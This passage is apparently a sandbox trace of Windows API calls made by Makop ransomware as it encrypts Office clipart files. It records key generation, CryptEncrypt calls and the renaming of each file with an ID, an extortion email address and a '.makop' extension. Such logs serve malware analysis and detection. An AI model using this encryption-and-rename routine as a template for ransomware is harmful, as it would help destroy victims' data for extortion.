out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.964] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.965] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.965] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13e, lpOverlapped=0x0) returned 1 [0154.965] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x140, dwBufLen=0x140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x140) returned 1 [0154.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x140, lpOverlapped=0x0) returned 1 [0154.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.966] SetEndOfFile (hFile=0xf0) returned 1 [0154.974] GetProcessHeap () returned 0x48a0000 [0154.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.974] GetProcessHeap () returned 0x48a0000 [0154.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.974] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.977] CloseHandle (hObject=0xf0) returned 1 [0154.977] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0154.977] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 63 [0154.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.978] GetProcessHeap () returned 0x48a0000 [0154.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.978] GetProcessHeap () returned 0x48a0000 [0154.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.982] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x250, lpOverlapped=0x0) returned 1 [0154.984] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x250) returned 1 [0154.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x250, lpOverlapped=0x0) returned 1 [0154.984] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.984] SetEndOfFile (hFile=0xf0) returned 1 [0154.993] GetProcessHeap () returned 0x48a0000 [0154.993] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.993] GetProcessHeap () returned 0x48a0000 [0154.993] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.993] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.995] CloseHandle (hObject=0xf0) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0154.995] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 63 [0154.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.996] GetProcessHeap () returned 0x48a0000 [0154.996] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.996] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0155.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.000] GetProcessHeap () returned 0x48a0000 [0155.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.002] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a9, lpOverlapped=0x0) returned 1 [0155.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0) returned 1 [0155.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b0, lpOverlapped=0x0) returned 1 [0155.002] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.003] SetEndOfFile (hFile=0xf0) returned 1 [0155.010] GetProcessHeap () returned 0x48a0000 [0155.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.010] GetProcessHeap () returned 0x48a0000 [0155.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.010] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.012] CloseHandle (hObject=0xf0) returned 1 [0155.012] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0155.012] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF") returned 63 [0155.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.013] GetProcessHeap () returned 0x48a0000 [0155.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.124] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.124] GetProcessHeap () returned 0x48a0000 [0155.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.124] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.126] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2076, lpOverlapped=0x0) returned 1 [0155.127] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2080, dwBufLen=0x2080 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2080) returned 1 [0155.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2080, lpOverlapped=0x0) returned 1 [0155.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.128] SetEndOfFile (hFile=0xf0) returned 1 [0155.135] GetProcessHeap () returned 0x48a0000 [0155.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.135] GetProcessHeap () returned 0x48a0000 [0155.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.135] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.137] CloseHandle (hObject=0xf0) returned 1 [0155.138] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0155.138] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF") returned 63 [0155.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.143] GetProcessHeap () returned 0x48a0000 [0155.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.143] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0155.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 